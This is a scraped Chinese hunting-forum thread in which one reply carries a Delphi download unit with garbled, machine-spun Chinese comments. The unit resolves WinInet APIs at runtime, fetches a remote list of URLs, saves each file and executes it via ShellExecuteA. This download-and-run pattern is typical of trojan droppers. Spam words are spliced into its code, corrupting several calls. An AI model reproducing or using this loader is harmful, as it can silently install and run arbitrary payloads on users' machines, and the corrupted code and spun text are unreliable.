涮下载币 积分充 值 应用服务 QQ群发布 每日签到

通知:本站域名更新为 www.yalie60.com 请大家保留新域名方便下次来访!

赞助本站VIP会员,即可获取本站全部图纸和数据下载,无限下载!打猎网,还可获取海外资源信息。

打猎,中国打猎,专业的打猎猎坛VIP交流讨论区—诚信认证商家 中国打猎,中国狩猎,专业的中国狩猎享受VIP服务与诚信商家在线交流-Vvip8(海外资源等服务) 打猎网,狩猎,专业的中国狩猎中国打猎VIP加入QQ群多人在线交流下载图纸 打猎,狩猎,专业的打猎网“中国狩猎vip-新人帮助,有问必答 技术支持 DIY“

主题 : 新手报到
狩猎级别: 注册猎员
打猎工具都有哪些UID: 22267
中国狩猎来自亚洲签到: 0 次
中国打猎那家技术最强发帖: 1
积分: 1044 RMB
贡献值: 83 点[充值]
打赏币: 0 现金[提现]
打猎  跟我私聊

楼主    
正序阅读   只看楼主  

新手报到

本文来自:中国打猎,中国狩猎 作者: 程小涛 浏览 : 1597 [ 如果你觉得本站不错,请:设为首页 |  加入收藏 ]
小弟新来的希望各位大哥照顾
狩猎级别: 注册猎员
打猎工具都有哪些UID: 11328
中国狩猎来自亚洲签到: 0 次
中国打猎那家技术最强发帖: 3
积分: 23738 RMB
贡献值: 667 点[充值]
打赏币: 0 现金[提现]
打猎  跟我私聊

4楼    
欢迎
狩猎级别: 注册猎员
打猎工具都有哪些UID: 22371
中国狩猎来自亚洲签到: 0 次
中国打猎那家技术最强发帖: 1
积分: 1026 RMB
贡献值: 76 点[充值]
打赏币: 0 现金[提现]
打猎  跟我私聊

地板    
  begin
,老子连基本也不过关~
  还有,老子写的代码作风是十分PL的,但一贴百度就变2B代码了~ 与偶无关,呜呜呜~
  这个代码貌似很简略,实在写得很挫,有一些挫挫的处所,我就不说出来了,本人摸索~
  {
  阐明:所援用的WinInet API函数都动态载入~
  无敌可恶的下载单元, By:7dBi 2009/04/01
  GetWebPage:获取网页内容,参数为网页地址,返回网页内容
  用法:GetWebPage('http://127.0.0.1/index.htm');
  GetWebFile:下载文件函数,第一个参数为下载地址,第二个是文件保存门路
  用法:GetWebFile('http://127.0.0.1/mm.exe','C:\mm.exe') ;
  DownAllFile:下载多项文件函数,地址内容为一行一条下载地址~第一个参数是多项的下载地址,第二个是保存的目录(注意:只是目录,保存的文件名将以地址上的文件名相同),
  第三个参数为翻开的方法,第四个参数为每个文件距离下载时光~
  用法:DownAllFile('http://127.0.0.1/List.txt','C:\',SW_ SHOW,明星网,3000);
  Update:2009/05/04
  解释:此次更新令下载更强盛.本来是有两种方式下载的,一种读从HTTP头部读取资源大小,而后调配必定内存,并读取网络上的文件.
  另外一种方式是定义一定大小,轮回读取直到读完.然而鉴于Linux体系的HTTP头部并没有返回资源大小.只好用后者方式实现读取文件.
  这次的更新首先应用第一种方式实现读取,失败后再使用第二种,很好地作了兼用性.且DownAllFile函数作了比拟完美的重复下载处置,更完善地实现下载!
  PS:由原来WinExec改为鄙陋的ShellExecuteA打开文件.
  DownAllFile:下载多项文件函数,地址内容为一行一条下载地址~第一个参数是多项的下载地址,第二个是保留的目录(留神:只是目录,保存的文件名将以地址上的文件名雷同),
  第三个参数是失败后尝试反复下载的次数,第四个参数为打开的方式,第五个参数为每个文件距离下载时间~
  用法:DownAllFile('http://127.0.0.1/List.txt','C:\',3,S W_SHOW,3000);
  }
  unit Unit_GetWeb;
  interface
  uses
  Windows;
  const
  lpCode = '200';
  HTTP_VERSION = 'HTTP/1.0';
  INTERNET_DEFAULT_HTTP_PORT = 80;
  HTTP_QUERY_STATUS_CODE = 19;
  INTERNET_FLAG_RELOAD = $80000000;
  INTERNET_FLAG_NO_CACHE_WRITE = $04000000;
  INTERNET_OPEN_TYPE_PRECONFIG = 0;
  INTERNET_SERVICE_HTTP = 3;
  HTTP_QUERY_CONTENT_LENGTH = 5;
  Type
  SArray = array of string;
  type
  HINTERNET = Pointer;
  {$EXTERNALSYM HINTERNET}
  PHINTERNET = ^HINTERNET;
  LPHINTERNET = PHINTERNET;
  {$EXTERNALSYM LPHINTERNET}
  INTERNET_PORT = Word;
  {$EXTERNALSYM INTERNET_PORT}
  PINTERNET_PORT = ^INTERNET_PORT;
  LPINTERNET_PORT = PINTERNET_PORT;
  {$EXTERNALSYM LPINTERNET_PORT}
  var
  URLArray:SArray;
  hWinInet:THandle;
  function GetWebPage(const FileURL: String):String;stdcall;
  function GetWebFile(const FileURL, FilePath: String):Boolean;stdcall;
  function GetWebPageW(const FileURL: String):String;stdcall;
  function GetWebFileW(const FileURL, FilePath: String):Boolean;stdcall;
  function DownAllFile(lpDownURL,lpFilePath:String;dwTryDown: DWORD=0;dwRunMode:Integer=-1;dwSleep:DWORD=0):Boole an;stdcall;
  var
  MyInternetOpen:function(lpszAgent: PChar; dwAccessType: DWORD; lpszProxy, lpszProxyBypass: PChar; dwFlags: DWORD): HINTERNET; stdcall;
  MyInternetOpenUrl:function(hInet: HINTERNET; lpszUrl: PChar; lpszHeaders: PChar; dwHeadersLength: DWORD; dwFlags: DWORD; dwContext: DWORD): HINTERNET; stdcall;
  MyHttpQueryInfo:function(hRequest: HINTERNET; dwInfoLevel: DWORD; lpvBuffer: Pointer; var lpdwBufferLength: DWORD; var lpdwReserved: DWORD): BOOL; stdcall;
  MyInternetConnect:function(hInet: HINTERNET; lpszServerName: PChar; nServerPort: INTERNET_PORT; lpszUsername: PChar; lpszPassword: PChar; dwService: DWORD; dwFlags: DWORD; dwContext: DWORD): HINTERNET; stdcall;
  MyHttpOpenRequest:function(hConnect: HINTERNET; lpszVerb: PChar; lpszObjectName: PChar; lpszVersion: PChar; lpszReferrer: PChar; lplpszAcceptTypes: PLPSTR; dwFlags: DWORD; dwContext: DWORD): HINTERNET; stdcall;
  MyHttpSendRequest:function(hRequest: HINTERNET; lpszHeaders: PChar; dwHeadersLength: DWORD; lpOptional: Pointer; dwOptionalLength: DWORD): BOOL; stdcall;
  MyInternetReadFile:function(hFile: HINTERNET; lpBuffer: Pointer; dwNumberOfBytesToRead: DWORD; var lpdwNumberOfBytesRead: DWORD): BOOL; stdcall;
  MyInternetCloseHandle:function(hInet: HINTERNET): BOOL; stdcall;
  MyShellExecute:function(hWnd: HWND; Operation, FileName, Parameters,Directory: PChar; ShowCmd: Integer):Cardinal; stdcall;
  implementation
  function StrPas(const Str: PChar): string;
  begin
  Result := Str;
  end;
  function StrToInt(const S: string): integer;
  var
  v1: Integer;
  begin
  Val(S, Result, v1);
  end;
  function Split(const Source,Delimiter:String):SArray;
  var
  iCount,iPos,iLength: Integer;
  sTemp: String;
  aSplit:SArray;
  begin
  sTemp := Source;
  iCount := 0;
  iLength := Length(Delimiter) - 1;
  repeat
  iPos := Pos(Delimiter, sTemp);
  if iPos = 0 then Break
  else
  begin
  Inc(iCount);
  SetLength(aSplit, iCount);
  aSplit[iCount - 1] := Copy(sTemp, 1, iPos - 1);
  Delete(sTemp, 1, iPos + iLength);
  end;
  until False;
  if Length(sTemp) > 0 then
  begin
  Inc(iCount);
  SetLength(aSplit, iCount);
  aSplit[iCount - 1] := sTemp;
  end;
  Result := aSplit;
  end;
  function ExtractURLFile(Fn:String):String;
  var
  s: Byte;
  begin
  for s:=Length(Fn) Downto 1 do
  if (Fn[s]='/') or (Fn[s]='\') Then
  begin
  Result:=Copy(Fn,s+1,255);
  Break;
  end;
  end;
  function GetWebData(const FileURL:String;var dwFileSize:Int64): Pointer;stdcall;
  const
  RequestMethod = 'POST';
  var
  dwIndex,dwCodeLen:DWORD;
  dwSize:DWORD;
  dwBytesRead,dwReserved:DWORD;
  hSession,hConnection,hURL,hHTTP:HInternet;
  dwCode:array[1..20] of Char;
  ContentSize:array[1..1024] of Char;
  HostPort:Integer;
  HostName,FileName:String;
  procedure ParseURL(URL: string;var HostName,FileName:string;var HostPort:Integer);
  var
  i,p,k: DWORD;
  function StrToIntDef(const S: string; Default: Integer): Integer;
  var
  E: Integer;
  begin
  Val(S, Result, E);
  if E <> 0 then Result := Default;
  end;
  begin
  if lstrcmpi('http://',PChar(Copy(URL,1,7))) = 0 then System.Delete(URL, 1, 7);
  HostName := URL;
  FileName := '/';
  HostPort := INTERNET_DEFAULT_HTTP_PORT;
  i := Pos('/', URL);
  if i <> 0 then
  begin
  HostName := Copy(URL, 1, i-1);
  FileName := Copy(URL, i, Length(URL) - i + 1);
  end;
  p:=pos(':',HostName);
  if p <> 0 then
  begin
  k:=Length(HostName)-p;
  HostPort:=StrToIntDef(Copy(HostName,p+1,k),INTERNE T_DEFAULT_HTTP_PORT);
  Delete(HostName,p,k+1);
  end;
  end;
  begin
  Result := Pointer(-1);
  dwFileSize:=0;
  dwIndex := 0;
  dwCodeLen := 10;
  ParseURL(FileURL,HostName,FileName,HostPort);
  hSession := MyInternetOpen('', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  hURL := MyInternetOpenURL(hSession, PChar(FileURL), nil, 0, INTERNET_FLAG_RELOAD, 0) ;
  MyHttpQueryInfo(hURL, HTTP_QUERY_STATUS_CODE, @dwCode, dwCodeLen, dwIndex);
  // MessAgeBox(0,PChar(@dwCode),'OK',0);
  if PChar(@dwCode) = lpCode then
  begin
  hConnection:=MyInternetConnect(hSession,PChar(Host Name),HostPort,nil,nil,INTERNET_SERVICE_HTTP,0,0);
  hHTTP:=MyHttpOpenRequest(hConnection,RequestMethod ,PChar(FileName),HTTP_VERSION,'',nil,INTERNET_FLAG_ RELOAD or INTERNET_FLAG_NO_CACHE_WRITE ,0);
  if MyHttpSendRequest(hHTTP,nil,0,nil,0) then
  begin
  dwReserved:=0;
  dwSize:=SizeOf(ContentSize);
  if MyHttpQueryInfo(hHTTP,HTTP_QUERY_CONTENT_LENGTH,@C ontentSize,dwSize,dwReserved) then
  begin
  dwFileSize:=StrToInt(StrPas(@ContentSize));
  GetMem(Result, dwFileSize);
  MyInternetReadFile(hURL,Result,dwFileSize,dwBytesR ead);
  end;
  end;
  MyInternetCloseHandle(hHTTP);
  MyInternetCloseHandle(hConnection);
  end;
  MyInternetCloseHandle(hURL);
  MyInternetCloseHandle(hSession);
  end;
  function GetWebPage(const FileURL: String):String;stdcall;
  var
  FileSize:Int64;
  lpFile:PChar;
  begin
  Result:='';
  lpFile:=GetWebData(FileURL,FileSize);
  if lpFile <> Pointer(-1) then
  begin
  Result:=StrPas(lpFile);
  end
  else Result:=GetWebPageW(FileURL);
  end;
  function IntToStr(I: integer):string;
  var
  v1: string;
  begin
  Str(I, v1);
  Result := v1;
  end;
  function GetWebFile(const FileURL, FilePath: String):Boolean;stdcall;
  var
  hFile:THandle;
  lpFile:PChar;
  FileSize:Int64;
  dwBytesRead:DWORD;
  begin
  Result:=False;
  lpFile:=GetWebData(FileURL,FileSize);
  if lpFile <> Pointer(-1) then
  begin
  hFile := CreateFile(PChar(FilePath), GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  Try
  if (hFile = INVALID_HANDLE_VALUE) then Exit;
  Result := WriteFile(hFile, lpFile^, FileSize, dwBytesRead, nil);
  SetEndOfFile(hFile);
  Finally
  CloseHandle(hFile);
  End;
  end
  else Result:=GetWebFileW(FileURL,FilePath);
  end;
  function GetWebPageW(const FileURL: String):String;stdcall;
  var
  Session,HttpFile:HINTERNET;
  szSizeBuffer:Pointer;
  dwLengthSizeBuffer:DWord;
  dwReserved,dwBytesRead:DWord;
  dwFileSize:Int64;
  Contents:PChar;
  dwIndex,dwCodeLen:Dword;
  dwCode:array[1..20] of Char;
  begin
  Result:='';
  Session:=MyInternetOpen('',0,niL,niL,0);
  HttpFile:=MyInternetOpenURL(Session,PChar(FileURL) ,niL,0,0,0);
  dwIndex:=0;
  dwCodeLen:=10;
  dwFileSize:=1024*1024;
  dwLengthSizeBuffer:=1024;
  MyHttpQueryInfo(HttpFile, HTTP_QUERY_STATUS_CODE, @dwCode, dwCodeLen, dwIndex);
  if (PChar(@dwCode) = lpCode) then
  begin
  MyHttpQueryInfo(HttpFile,HTTP_QUERY_CONTENT_LENGTH ,szSizeBuffer,dwLengthSizeBuffer,dwReserved);
  GetMem(Contents,明星网,dwFileSize);
  MyInternetReadFile(HttpFile,Contents,dwFileSize,dw BytesRead);
  Result:=StrPas(Contents);
  FreeMem(Contents);
  end;
  MyInternetCloseHandle(HttpFile);
  MyInternetCloseHandle(Session);
  end;
  function GetWebFileW(const FileURL,FilePath:String): Boolean;stdcall;
  const
  BufferSize = 1024;
  RequestMethod = 'POST';
  var
  dwIndex,dwCodeLen:DWORD;
  dwSize:DWORD;
  dwBytesRead,dwReserved:DWORD;
  hSession,hConnection,hURL,hHTTP:HInternet;
  dwCode:array[1..20] of Char;
  ContentSize:array[1..1024] of Char;
  Buffer: array[1..BufferSize] of Char;
  HostPort:Integer;
  HostName,FileName:String;
  BufferLen: DWORD;
  TempStr:String;
  hFile:THandle;
  F:File;
  procedure ParseURL(URL: string;var HostName,FileName:string;var HostPort:Integer);
  var
  i,p,k: DWORD;
  function StrToIntDef(const S: string; Default: Integer): Integer;
  var
  E: Integer;
  begin
  Val(S, Result, E);
  if E <> 0 then Result := Default;
  end;
  begin
  if lstrcmpi('http://',PChar(Copy(URL,1,7))) = 0 then System.Delete(URL, 1, 7);
  HostName := URL;
  FileName := '/';
  HostPort := INTERNET_DEFAULT_HTTP_PORT;
  i := Pos('/', URL);
  if i <> 0 then
  begin
  HostName := Copy(URL, 1, i-1);
  FileName := Copy(URL,明星网, i, Length(URL) - i + 1);
  end;
  p:=pos(':',HostName);
  if p <> 0 then
  begin
  k:=Length(HostName)-p;
  HostPort:=StrToIntDef(Copy(HostName,p+1,k),INTERNE T_DEFAULT_HTTP_PORT);
  Delete(HostName,p,k+1);
  end;
  end;
  begin
  Result := False;
  dwIndex := 0;
  dwCodeLen := 10;
  ParseURL(FileURL,HostName,FileName,HostPort);
  hSession := MyInternetOpen('', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  hURL := MyInternetOpenURL(hSession, PChar(FileURL), nil, 0, INTERNET_FLAG_RELOAD, 0) ;
  MyHttpQueryInfo(hURL, HTTP_QUERY_STATUS_CODE, @dwCode, dwCodeLen, dwIndex);
  if PChar(@dwCode) = lpCode then
  begin
  hFile := CreateFile(PChar(FilePath), GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  Try
  if (hFile = INVALID_HANDLE_VALUE) then Exit;
  repeat
  if MyInternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen) then
  WriteFile(hFile, Buffer, BufferLen, dwBytesRead, nil);
  until BufferLen = 0;
  SetEndOfFile(hFile);
  Result := True;
  Finally
  CloseHandle(hFile);
  End;
  end;
  MyInternetCloseHandle(hURL);
  MyInternetCloseHandle(hSession);
  end;
  function DownAllFile(lpDownURL,lpFilePath:String;dwTryDown: DWORD=0;dwRunMode:Integer=-1;dwSleep:DWORD=0):Boole an;stdcall;
  var
  i:Integer;
  bDown:Boolean;
  dwDown:Integer;
  TempURL,TempPath,lpWeb:PChar;
  begin
  Result:=False;
  lpWeb:=PChar(GetWebPage(lpDownURL));
  if lpWeb = '' then Exit;
  URLArray:=Split(lpWeb,#13#10);
  for i:=0 to Length(URLArray)-1 do
  begin
  TempURL:=PChar(URLArray);
  TempPath:=PChar(lpFilePath+ExtractURLFile(TempURL) );
  if lstrcmpi('http://',PChar(Copy(TempURL,1,7))) = 0 then
  begin
  dwDown:=0;
  bDown:=False;
  repeat
  Inc(dwDown);
  if (dwDown > 1) and (dwTryDown <> 0) then Sleep(500);
  if GetWebFile(TempURL,TempPath) then
  begin
  bDown:=True;
  if dwRunMode <> -1 then MyShellExecute(0,'Open',PChar(TempPath),nil,nil,dw RunMode); //WinExec(PChar(TempPath),dwRunMode);
  Result:=True;
  end;
  until (dwTryDown = 0) or (bDown or ((dwTryDown <> 0) and (dwTryDown < dwDown)));
  end;
  if i <> Length(URLArray)-1 then Sleep(dwSleep);
  end;
  end;
  initialization
  hWinInet:=LoadLibrary('wininet.dll');
  @MyInternetOpen := GetProcAddress(hWinInet, PChar('InternetOpenA'));
  @MyInternetOpenUrl := GetProcAddress(hWinInet, PChar('InternetOpenUrlA'));
  @MyHttpQueryInfo := GetProcAddress(hWinInet, PChar('HttpQueryInfoA'));
  @MyInternetConnect := GetProcAddress(hWinInet, PChar('InternetConnectA'));
  @MyHttpOpenRequest := GetProcAddress(hWinInet, PChar('HttpOpenRequestA'));
  @MyHttpSendRequest := GetProcAddress(hWinInet, PChar('HttpSendRequestA'));
  @MyInternetReadFile := GetProcAddress(hWinInet, PChar('InternetReadFile'));
  @MyInternetCloseHandle := GetProcAddress(hWinInet, PChar('InternetCloseHandle'));
  @MyShellExecute := GetProcAddress(LoadLibrary('Shell32.dll'), PChar('ShellExecuteA'));
  finalization
  end.
相关的主题文章:

  
   于是找到了好朋友肉丸!肉丸拍拍胸脯说
  
     如缘老和尚开示节选
狩猎级别: 初级菜鸟猎员
打猎工具都有哪些UID: 9658
中国狩猎来自亚洲签到: 0 次
中国打猎那家技术最强发帖: 25
积分: 1863 RMB
贡献值: 58 点[充值]
打赏币: 0 现金[提现]
打猎  跟我私聊

板凳    
记得签到
狩猎级别: 注册猎员
打猎工具都有哪些UID: 7039
中国狩猎来自亚洲签到: 0 次
中国打猎那家技术最强发帖: 6
积分: 3844 RMB
贡献值: 391 点[充值]
打赏币: 0 现金[提现]
打猎  跟我私聊

沙发    
欢迎
描述
快速回复

如果您在写长篇帖子又不马上发表,建议存为草稿,禁止普通会员随意留QQ号,发现封号处理。
按"Ctrl+Enter"直接提交
上一个 下一个